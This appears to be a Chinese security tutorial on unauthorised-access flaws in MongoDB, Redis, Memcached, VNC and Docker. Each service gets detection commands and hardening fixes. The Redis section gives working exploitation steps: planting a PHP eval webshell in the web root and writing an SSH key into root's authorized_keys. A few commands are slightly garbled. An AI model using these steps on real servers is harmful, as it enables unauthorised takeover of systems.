一些常見的未授權訪問漏洞:
1.MongoDB 未授權訪問漏洞
2.redis 未授權訪問漏洞
3.Memcached 未授權訪問漏洞CVE-2013-7239
4.VNC 未授權訪問漏洞
5.Docker 未授權訪問漏洞
一、MongoDB 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述開啟 MongoDB 服務時若不添加任何參數默認是沒有權限驗證的而且可以遠程訪問數據庫登錄的用戶無需密碼即可通過默認端口 27017 對數據庫進行增、刪、改、查等高危操作。剛安裝完畢時MongoDB 都默認有一個 admin 數據庫此時 admin 數據庫為空沒有記錄權限相關的信息。當 admin.system.users 一個用戶都沒有時即使 MongoDB 啟動時添加了 –auth 參數還是可以做任何操作不管是否以 –auth 參數啟動直到在 admin.system.users 中添加了一個用戶。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍MongoDB 數據庫。
檢測方法
可以自己編制相應腳本或利用專用工具檢測也可以查看配置文件
(1) 檢測是否僅監聽 127.0.0.1
--bind_ip 127.0.0.1
or
vim /etc/mongodb.conf
bind_ip = 127.0.0.1
(2) 檢測是否開啟 auth 認證
mongod --auth
or
vim /etc/mongodb.conf
auth = true
修復方法
(1) 為 MongoDB 添加認證
① MongoDB 啟動時添加 -auth 參數。
② 給 MongoDB 添加用戶
use admin # 使用 admin 庫
db.addUser"用戶名" "密碼"# 添加用戶名、密碼
db.auth"用戶名","密碼"# 驗證是否添加成功返回 1 說明成功。
(2) 禁用 HTTP 和 REST 端口
MongoDB 自身帶有一個 HTTP 服務并支持 REST 接口。在 2.6 版本以后這些接口默認關閉。MongoDB 默認會使用默認端口監聽 Web 服務一般不需要通過 Web 方式進行遠程管理建議禁用。修改配置文件或在啟動時選擇 -nohttpinterface 參數 nohttpinterface = false。
(3) 限制綁定 IP
啟動時加入參數
--bind_ip 127.0.0.1
或在 /etc/mongodb.conf 文件中添加以下內容
bind_ip = 127.0.0.1
二、Redis 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述Redis 是一個高性能的 Key – Value 數據庫。Redis 的出現很大程度上彌補了 memcached 這類 Key/Value 存儲的不足在部分場合可以對關系數據庫起到很好的補充作用。Redis 默認情況下會綁定在 0.0.0.0:6379這樣會將 Redis 服務暴露到公網上。在沒有開啟認證的情況下會導致任意用戶在可以訪問目標服務器的情況下未經授權就訪問到 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法成功地在 Redis 服務器上寫入公鑰進而可以使用對應私鑰直接登錄目標服務器。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍Redis 數據庫。
檢測方法
先用 nmap 掃描查看端口開放情況發現開放的 6379 端口為 Redis 的默認端口
Nmap -A -p 6379 --script redis-info 192.168.10.153
Nmap 掃描后發現主機的 6379 端口對外開放可以通過 Redis 客戶端進行連接測試是否存在未授權訪問漏洞具體命令如下
./redis-cli -h 192.168.10.153
Info
就可以看到 Redis 的版本和服務器上內核的版本信息也可以 del key 刪除數據在網站寫入木馬寫入 SSH 公鑰或者在 crontab 里寫定時任務反彈 shell 等。
(1) 網站寫碼
① 先用客戶端連接服務器的 redis 服務
redis-cli.exe -h 目標IP
② 連接后設置目錄
config set dir /var/www/html此路徑是服務器端 Web 網站的目錄
③ 設置要寫入的文件名
config set dbfilename redis88.php
④ 設置要寫入的內容
set webshell "<?php @eval($_POST['123']); ?>"
⑤ 保存
save
⑥ 保存后用菜刀連接此木馬得到 webshell。
(2) 結合 SSH 免密碼登錄
① 先在本地建個 ssh 的密鑰
ssh-keygen-trsa
② 將公鑰的內容寫到一個文本中命令如下
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > test.txt
注意寫到文件中時一定要在前面加幾行后面加幾行。
③ 將里面的內容寫入遠程的 Redis 服務器上并且設置其 Key 為 test命令如下
cat test.txt | redis -cli -h <hostname> -x set test
④ 登錄遠程服務器可以看到公鑰已經添加到 Redis 的服務器上了命令如下
redis-cli -h <hostname>
keys *
get test
⑤ 隨后就是最關鍵的了Redis 有個 save 命令save 命令執行一個同步保存操作將當前 Redis 實例的所有數據快照snapshot以 RDB 文件的形式保存到硬盤。所以save 命令就可以將 test 里的公鑰保存到 /root/.ssh 下要有權限。
修改保存的路徑為
config set dir "/root/.ssh"
修改文件名為
config set dbfilename "authorized_keys"
保存。
⑥ 測試一下
ssh 用戶名@<IP地址>
實現免密碼成功登陸。
修復方法
(1) 設置 Redis 訪問密碼在 redis.conf 中找到 "requirepass" 字段在后面填上強口令redis 客戶端也需要此密碼來訪問 redis 服務。
(2) 配置 bind 選項限定可以連接 Reids 服務器的 IP并修改默認端口 6379。
(3) 重啟 Redis 服務。
(4) 清理系統中存在的后門木馬。
三、Memcached 未授權訪問漏洞CVE-2013-7239
漏洞信息
(1) 漏洞簡述Memcached 是一套分布式高速緩存系統。它以 Key – Value 的形式將數據存儲在內存中。這些數據通常是會被頻繁地應用、讀取的。正因為內存中數據的讀取速度遠遠大于硬盤的讀取速度所以可以用來加速應用的訪問。由于 Memcached 的安全設計缺陷客戶端連接 Memcached 服務器后無需認證就可讀取、修改服務器緩存內容。
(2) 風險等級高風險。
(3) 漏洞編號CVE-2013-7239 。
(4) 影響范圍Memcached 全版本。
檢測方法
登錄機器執行 netstat -an | more 命令查看端口監聽情況。回顯 0.0.0.0:1121111211 表示在所有網卡進行監聽存在 Memcached 未授權訪問漏洞。
telnet <target> 11211
or
nc -vv <target> 11211
提示連接成功表示漏洞存在。
使用端口掃描工具 nmap 進行遠程掃描
nmap -sV -p11211 --script memcached-info <target>
修復方法
(1) 配置訪問控制。建議用戶不要將服務發布到互聯網上以防被黑客利用而可以通過安全組規則或 Iptables 配置訪問控制規則只允許內部必需的用戶地址訪問命令如下
iptables -A INPUT -p tcp -s 192.168.0.2 --dport 11211 -j ACCEPT
(2) bind 指定監聽 IP。如果 Memcached 沒有在外網開放的必要可在 Memcached 啟動時指定綁定的 IP 地址為 127.0.0.1。例如
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
(3) 最小化權限運行。使用普通權限賬號運行以下指定 memcached 用戶運行
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
(4) 修改默認端口。修改默認 11211 監聽端口為 11222 端口
memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11222 -c 1024 -P /tmp/memcached.pid
(5) 備份數據。為避免數據丟失升級前應做好備份或建立硬盤快照。
四、VNC 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述VNC 是虛擬網絡控制臺Virtual Network Console的英文縮寫。它是一款優秀的遠程控制工具軟件由美國電話電報公司AT&T的歐洲研究實驗室開發。VNC是基于 UNXI 和 linux 的免費開源軟件由 VNC Server 和 VNC Viewer 兩部分組成。VNC 默認端口號為 5900、5901。VNC 未授權訪問漏洞如被利用可能造成惡意用戶直接控制受控主機危害相當嚴重。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍VNC 全版本。
檢測方法
使用 metasploit 進行批量檢測
(1) 在 kali 下運行 msfconsolemsfconsole。
(2) 調用 VNC 未授權檢測模塊use auxiliary/scanner/vnc/vnx_none_auth。
(3) 顯示有哪些選項show options。
(4) 設置地址段set rhosts ip 或 段。
(5) 設置線程set threads 50。
(6) 開始掃描run。
修復方法
(1) 配置 VNC 客戶端登錄口令認證并配置符合密碼強度要求的密碼。
(2) 以最小權限的普通用戶身份運行操作系統。
五、Docker 未授權訪問漏洞
漏洞信息
(1) 漏洞簡述Docker 是一個開源的引擎可以輕松地為任何應用創建一個輕量級的、可移植的、自給自足的容器。開發者在筆記本上編譯測試通過的容器可以批量地在生產環境中部署包括 VMs、bare metal、OpenStack 集群和其他的基礎應用平臺Docker 存在問題的版本分別為 1.3 和 1.6因為權限控制等問題導致可以脫離容器拿到宿主機權限。
(2) 風險等級高風險。
(3) 漏洞編號無。
(4) 影響范圍Docker 1.3、Docker 1.6。
檢測方法
先用 nmap 掃描查看端口開放情況。2375 為 docker 端口如果存在漏洞會有以下情況url 輸入 ip:2375/version 就會列出基本信息也可以執行目標服務器容器命令如 container、image 等。
修復方法
(1) 使用 TLS 認證。
(2) 網絡訪問控制Network Access Control
上述內容不知道大家學習到了嗎?網絡世界的安全漏洞每天都會出現,安全知識和安全意識每個公民都應該了解和學習,有想學習網絡安全技能的小伙伴可以隨時私信我哦!